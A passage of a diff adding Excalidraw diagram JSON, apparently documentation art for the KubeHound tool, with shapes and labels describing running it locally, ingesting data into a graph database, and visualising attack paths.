58.80616389328413, + "fontFamily": 1, + "text": "Ingest into graph\ndatabase", + "rawText": "Ingest into graph database", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "te0nKV0Sf1cPitTrOtIeE", + "originalText": "Ingest into graph database", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 772, + "versionNonce": 142012640, + "index": "c1uGV", + "isDeleted": false, + "id": "rVBDS2tUB9Y9032O66g7H", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 30.481299556794966, + "y": -1225.9602856600782, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 0.060109141814817614, + "height": 0.060109141814817614, + "seed": 183837624, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 796, + "versionNonce": 1109775584, + "index": "c1uGZ", + "isDeleted": false, + "id": "Bbz2j6o88syEKE-hyaVjd", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -117.29523490391193, + "y": -1238.1795325226249, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 70.74368934922967, + "height": 69.3773990146452, + "seed": 688385208, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1293, + "versionNonce": 743979232, + "index": "c1uGd", + "isDeleted": false, + "id": "qy-pCYkoQtcIdnXXICIf6", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -104.54483046730593, + "y": -1225.5522319184943, + "strokeColor": "#ffffff", + "backgroundColor": "#ffffff", + "width": 46.360179511887644, + "height": 43.02537041166005, + "seed": 1809421752, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 936, + "versionNonce": 1788746976, + "index": "c1uGl", + "isDeleted": false, + "id": "3GNhDaFbVsL5MWNGfNDAL", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -111.85678873971347, + "y": -1314.410677056006, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 55.60858908560336, + "height": 54.534606678317985, + "seed": 411967160, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1371, + "versionNonce": 780632288, + "index": "c1uGt", + "isDeleted": false, + "id": "jKqaS10fUW0w0yq39VfC7", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -101.39751283775604, + "y": -1303.178939680984, + "strokeColor": "#ffffff", + "backgroundColor": "#ffffff", + "width": 33.66551838832149, + "height": 32.578310734809044, + "seed": 801736632, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1049, + "versionNonce": 2007262432, + "index": "c1uH", + "isDeleted": false, + "id": "x2t_aj5JTxY8pedTlvaEZ", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -108.77834197676702, + "y": -1149.0850784419185, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 55.60858908560336, + "height": 54.534606678317985, + "seed": 2108674232, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1487, + "versionNonce": 1401211104, + "index": "c1uH8", + "isDeleted": false, + "id": "bn6k49u6IU-KMEnMyHTkx", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -98.242657563585, + "y": -1137.7136979256857, + "strokeColor": "#ffffff", + "backgroundColor": "#ffffff", + "width": 34.650924705543574, + "height": 32.649449693538955, + "seed": 702871992, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1009, + "versionNonce": 498642144, + "index": "c1uHG", + "isDeleted": false, + "id": "gZl_-J4Ybc-AgZLRTE-CB", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -39.59498749561635, + "y": -1278.9256782951152, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 55.60858908560336, + "height": 54.534606678317985, + "seed": 1200423608, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1433, + "versionNonce": 1070600416, + "index": "c1uHV", + "isDeleted": false, + "id": "56ufTdI8x20hoJ7g4TTnM", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -28.977625018703748, + "y": -1268.3341915486621, + "strokeColor": "#ffffff", + "backgroundColor": "#ffffff", + "width": 34.65092470554371, + "height": 34.340976045561895, + "seed": 1699474360, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1051, + "versionNonce": 1901786336, + "index": "c1uHl", + "isDeleted": false, + "id": "N62p5Bk__bEAcO2-Lhm_C", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -34.53114836176064, + "y": -1193.6564841542868, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 55.60858908560336, + "height": 54.534606678317985, + "seed": 491107512, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1488, + "versionNonce": 2011781344, + "index": "c1uI", + "isDeleted": false, + "id": "UyMoUYDlMISybPBUW98w5", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -22.867779713895743, + "y": -1182.4879814092465, + "strokeColor": "#ffffff", + "backgroundColor": "#ffffff", + "width": 33.51270136586448, + "height": 33.20275270588295, + "seed": 622747064, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 880, + "versionNonce": 1728789728, + "index": "c1uIG", + "isDeleted": false, + "id": "4WlASL8gewRFSaspbNuX2", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -88.32814581339517, + "y": -1259.9610832610274, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 9.224478607008217, + "height": 21.74825356483671, + "seed": 1576658616, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 984, + "versionNonce": 1615896800, + "index": "c1uIV", + "isDeleted": false, + "id": "4wOtUAxqf_YJkayfuih-R", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -86.15788360777424, + "y": -1169.3161655387653, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 9.224478607008217, + "height": 20.787226337753662, + "seed": 1685868472, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1125, + "versionNonce": 1397327072, + "index": "c1uJ", + "isDeleted": false, + "id": "63nZymHov07TxXB2ED5zs", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.289150488616073, + "x": -45.655079998437486, + "y": -1194.2800576886114, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 9.224478607008217, + "height": 20.787226337753662, + "seed": 550082744, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1310, + "versionNonce": 1032186080, + "index": "c1uK", + "isDeleted": false, + "id": "ID3njaH00pqZzmJ3cthIU", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.075488021341748, + "x": -47.74444998422587, + "y": -1239.8880591718898, + "strokeColor": "#000000", + "backgroundColor": "#000000", + "width": 9.224478607008217, + "height": 20.787226337753662, + "seed": 1451606456, + "groupIds": [ + "uCfDmYYkfGzOv2J42ZJk0", + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "arrow", + "version": 634, + "versionNonce": 1788202208, + "index": "c1ut", + "isDeleted": false, + "id": "sOOMMHrNrp4U0dGpDw1hx", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -881.5159777544945, + "y": -1805.8803332965408, + "strokeColor": "#f08c00", + "backgroundColor": "#eebefa", + "width": 799.2809974005281, + "height": 460.230181467728, + "seed": 785724872, + "groupIds": [], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 545.830034636965, + 64.960865744202 + ], + [ + 799.2809974005281, + 460.230181467728 + ] + ] + }, + { + "type": "ellipse", + "version": 1636, + "versionNonce": 873017568, + "index": "c1utG", + "isDeleted": false, + "id": "eB55BF-jOFwe2oAH7jJJ_", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -437.69285090130734, + "y": -1775.5578717695957, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 113.26702151914624, + "height": 123.4929441758967, + "seed": 1706487736, + "groupIds": [ + "pCGWmJTCeQpZ6ts97RL6v" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "EVf28TuZ" + } + ], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1587, + "versionNonce": 1097864416, + "index": "c1utV", + "isDeleted": false, + "id": "EVf28TuZ", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -396.1580750523858, + "y": -1752.4727488093818, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 30.1055908203125, + "height": 58.806163893284136, + "seed": 1638938808, + "groupIds": [ + "pCGWmJTCeQpZ6ts97RL6v" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "fontSize": 47.04493111462731, + "fontFamily": 1, + "text": "4", + "rawText": "4", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "eB55BF-jOFwe2oAH7jJJ_", + "originalText": "4", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 720, + "versionNonce": 1213888736, + "index": "c1uu", + "isDeleted": false, + "id": "TLy3eYBHpnYqTHeHEzlpS", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -365.5037026758296, + "y": -1706.2672291324066, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 643.5238983206867, + "height": 176.4184916798524, + "seed": 1858843064, + "groupIds": [ + "pCGWmJTCeQpZ6ts97RL6v" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "gvZllPgw" + } + ], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 982, + "versionNonce": 1280859360, + "index": "c1uv", + "isDeleted": false, + "id": "gvZllPgw", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -319.45488828111115, + "y": -1691.5656881590853, + "strokeColor": "#f08c00", + "backgroundColor": "#ffc9c9", + "width": 551.42626953125, + "height": 147.01540973321033, + "seed": 786217656, + "groupIds": [ + "pCGWmJTCeQpZ6ts97RL6v" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "fontSize": 58.80616389328413, + "fontFamily": 1, + "text": "Visualize and query\nthe attack paths", + "rawText": "Visualize and query the attack paths", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "TLy3eYBHpnYqTHeHEzlpS", + "originalText": "Visualize and query the attack paths", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 1418, + "versionNonce": 1593426144, + "index": "c1uw", + "isDeleted": false, + "id": "0q2R6LC_aCnwez18Db2Ap", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1180.5737469665773, + "y": -1770.9752040948242, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 105.2470832362057, + "height": 93.71950509409093, + "seed": 1026192824, + "groupIds": [ + "OwxDTpZFpKEgQFhQxPxPO", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 11.787673322455033, + -62.103286508132385 + ], + [ + 50.51859995337884, + -93.71950509409093 + ], + [ + 89.24952658430256, + -68.87819049083775 + ], + [ + 105.2470832362057, + -6.4486393292225435 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1455, + "versionNonce": 1607378144, + "index": "c1ux", + "isDeleted": false, + "id": "7exyGm41nzuYqRF89Y96N", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1300.7674304862699, + "y": -1761.6320303991524, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 105.2470832362057, + "height": 93.71950509409093, + "seed": 1287847608, + "groupIds": [ + "OwxDTpZFpKEgQFhQxPxPO", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 11.787673322455033, + -62.103286508132385 + ], + [ + 50.51859995337884, + -93.71950509409093 + ], + [ + 89.24952658430256, + -68.87819049083775 + ], + [ + 105.2470832362057, + -6.4486393292225435 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1134, + "versionNonce": 1013385440, + "index": "c1uy", + "isDeleted": false, + "id": "dIfgb11lyEwnTuCmRZOw0", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1154.5250597155657, + "y": -1912.1502253149738, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 53.88650661693739, + "height": 47.150693289820374, + "seed": 1247963064, + "groupIds": [ + "OwxDTpZFpKEgQFhQxPxPO", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1168, + "versionNonce": 810740960, + "index": "c1uz", + "isDeleted": false, + "id": "4K2s7TGacnkWzsebj6nja", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1274.5296117273415, + "y": -1902.9191059294535, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 53.88650661693739, + "height": 47.150693289820374, + "seed": 304918712, + "groupIds": [ + "OwxDTpZFpKEgQFhQxPxPO", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1350, + "versionNonce": 86135008, + "index": "c1v0", + "isDeleted": false, + "id": "ArE7EMvyzSuHvgJ5LG9aa", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1243.549449070094, + "y": -1750.6880567566318, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 114.06279568750065, + "height": 101.56964385881982, + "seed": 1539692984, + "groupIds": [ + "OwxDTpZFpKEgQFhQxPxPO", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 12.775033117000069, + -67.30518568957939 + ], + [ + 54.7501419300004, + -101.56964385881982 + ], + [ + 96.72525074300064, + -74.64756958298783 + ], + [ + 114.06279568750065, + -6.9887906405986255 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1070, + "versionNonce": 1382364384, + "index": "c1v1", + "isDeleted": false, + "id": "Jn-OmtTsZ2CwR6R41Q0SD", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1215.2199420470754, + "y": -1904.129891210432, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 58.400151392000375, + "height": 51.10013246800056, + "seed": 1246880440, + "groupIds": [ + "OwxDTpZFpKEgQFhQxPxPO", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "image", + "version": 1365, + "versionNonce": 1034655968, + "index": "c1v2", + "isDeleted": false, + "id": "8JjIwDfVvdrqvRaWSs6kI", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1495.5985544851355, + "y": -1504.4637654934986, + "strokeColor": "transparent", + "backgroundColor": "transparent", + "width": 602.3138480641401, + "height": 602.3138480641401, + "seed": 1907534280, + "groupIds": [ + "-kAerkaUFrfpaG8GuH4il", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "DR9OwxHSJhGZHLDmlZ1ZZ", + "type": "arrow" + }, + { + "id": "47hwvdd6d0H93vESMMMPz", + "type": "arrow" + }, + { + "id": "gPsxDMxFdLVvJq8Xc2j-x", + "type": "arrow" + } + ], + "updated": 1720441449922, + "link": null, + "locked": false, + "status": "pending", + "fileId": "81f9bb5db816b95a6807fdda2a002845e40fd318", + "scale": [ + 1, + 1 + ] + }, + { + "type": "text", + "version": 438, + "versionNonce": 1881680096, + "index": "c1v3", + "isDeleted": false, + "id": "NcDt7pnH", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1052.2218453346807, + "y": -1841.9870265030809, + "strokeColor": "#9c36b5", + "backgroundColor": "#ffec99", + "width": 130.60551300750117, + "height": 58.806163893284136, + "seed": 996168888, + "groupIds": [ + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "fontSize": 47.044931114627325, + "fontFamily": 1, + "text": "Users", + "rawText": "Users", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Users", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 623, + "versionNonce": 1508527392, + "index": "c1v4", + "isDeleted": false, + "id": "gPsxDMxFdLVvJq8Xc2j-x", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1199.5599369741049, + "y": -1736.9223553892784, + "strokeColor": "#1e1e1e", + "backgroundColor": "#eebefa", + "width": 1.34927034650535, + "height": 244.45210360398661, + "seed": 1090421192, + "groupIds": [ + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "YG0abaRN" + } + ], + "updated": 1720441449982, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": { + "elementId": "8JjIwDfVvdrqvRaWSs6kI", + "focus": -0.026628545650603113, + "gap": 1 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -1.34927034650535, + 244.45210360398661 + ] + ] + }, + { + "type": "text", + "version": 413, + "versionNonce": 1394307296, + "index": "c1v5", + "isDeleted": false, + "id": "YG0abaRN", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1886.0574431747482, + "y": -1779.024634739089, + "strokeColor": "#1e1e1e", + "backgroundColor": "#eebefa", + "width": 497.777099609375, + "height": 58.806163893284136, + "seed": 2127551416, + "groupIds": [ + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "fontSize": 47.04493111462731, + "fontFamily": 1, + "text": "Run Kubehound locally", + "rawText": "Run Kubehound locally", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "gPsxDMxFdLVvJq8Xc2j-x", + "originalText": "Run Kubehound locally", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 1884, + "versionNonce": 1144673504, + "index": "c1v6", + "isDeleted": false, + "id": "eWNXjV23NY0_q_xlzJxJI", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1595.0775053067582, + "y": -2002.792063954471, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "width": 1948.9767178369677, + "height": 1613.4081952434194, + "seed": 829265864, + "groupIds": [ + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1659, + "versionNonce": 2010953952, + "index": "c1v7", + "isDeleted": false, + "id": "KMelXk7AokKeOkRkBLuTP", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -451.35723154901416, + "y": -1997.5815509662461, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e9644", + "width": 796.814458130367, + "height": 141.08069334204066, + "seed": 2121752264, + "groupIds": [ + "wdHqaSjfINpN9L4N7A5y9", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "type": "text", + "id": "DUK92o7W" + } + ], + "updated": 1720441449922, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1284, + "versionNonce": 1368562912, + "index": "c1v8", + "isDeleted": false, + "id": "DUK92o7W", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -228.14455204437752, + "y": -1963.7950567285284, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e9644", + "width": 350.38909912109375, + "height": 73.50770486660517, + "seed": 1745720776, + "groupIds": [ + "wdHqaSjfINpN9L4N7A5y9", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "fontSize": 58.80616389328413, + "fontFamily": 1, + "text": "Laptop user", + "rawText": "Laptop user", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "KMelXk7AokKeOkRkBLuTP", + "originalText": "Laptop user", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 4657, + "versionNonce": 1122762976, + "index": "c1v9", + "isDeleted": false, + "id": "V4llJNWlIDJLLWpkUXjPn", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -575.8843125488474, + "y": -1936.5347289550132, + "strokeColor": "#1e1e1e", + "backgroundColor": "#868e96", + "width": 164.5156313183823, + "height": 95.31674978507105, + "seed": 1716653240, + "groupIds": [ + "TXWLIgvyD0J6fMwXpbviG", + "sFszw1AH-evYJWMV_Wzh9", + "Qb-4FMvQcb12nswrmS9ey" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449922, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 57.390035102845076, + 0.024570518914611483 + ], + [ + 59.63497660847425, + -0.06586957717541253 + ], + [ + 61.48065554024441, + -0.36363689387661324 + ], + [ + 63.70816372418389, + -0.7411038049134078 + ], + [ + 65.65957172144428, + -1.2577115110481891 + ], + [ + 67.6724420934842, + -1.9826635139799222 + ], + [ + 69.2362331857818, + -2.784863764128879 + ], + [ + 67.99193031736391, + -4.755973905459772 + ], + [ + 67.21003593218953, + -6.383159517849645 + ], + [ + 66.47040610837595, + -8.686578112012192 + ], + [ + 65.97734670147761, + -11.069004077251488 + ], + [ + 65.64624716184073, + -14.286632492315178 + ], + [ + 65.77537982967286, + -17.295410423369287 + ], + [ + 66.09002505612892, + -19.802157749896754 + ], + [ + 66.76625803790131, + -22.676147922429703 + ], + [ + 67.56928470375618, + -24.852772832509785 + ], + [ + 68.56032576584957, + -27.146043619640018 + ], + [ + 69.74590961383628, + -29.353948617432646 + ], + [ + 70.92931733193802, + -31.340383001389228 + ], + [ + 72.24418895178101, + -33.086570125824295 + ], + [ + 74.9021860998512, + -31.509441246832232 + ], + [ + 76.5716362736019, + -30.30490124805009 + ], + [ + 78.5580706575585, + -28.572054232258218 + ], + [ + 80.20638855062884, + -27.050530023270152 + ], + [ + 81.45199410407633, + -25.362664172430573 + ], + [ + 82.93245275839902, + -23.11992581671765 + ], + [ + 83.8834053890166, + -21.47160792364732 + ], + [ + 84.68643205487137, + -19.781025469216175 + ], + [ + 85.55285556276736, + -17.794591085259697 + ], + [ + 86.10229486045748, + -15.89268582402471 + ], + [ + 86.1291667248068, + -14.080138785155974 + ], + [ + 88.95040592450803, + -14.503074778395252 + ], + [ + 92.66082435382401, + -14.791909745946889 + ], + [ + 96.33966647488367, + -14.644136735779838 + ], + [ + 100.08166121245614, + -14.103149438708364 + ], + [ + 102.9922289623986, + -13.125554163918473 + ], + [ + 105.34734485166503, + -12.014650442566442 + ], + [ + 106.96926428483906, + 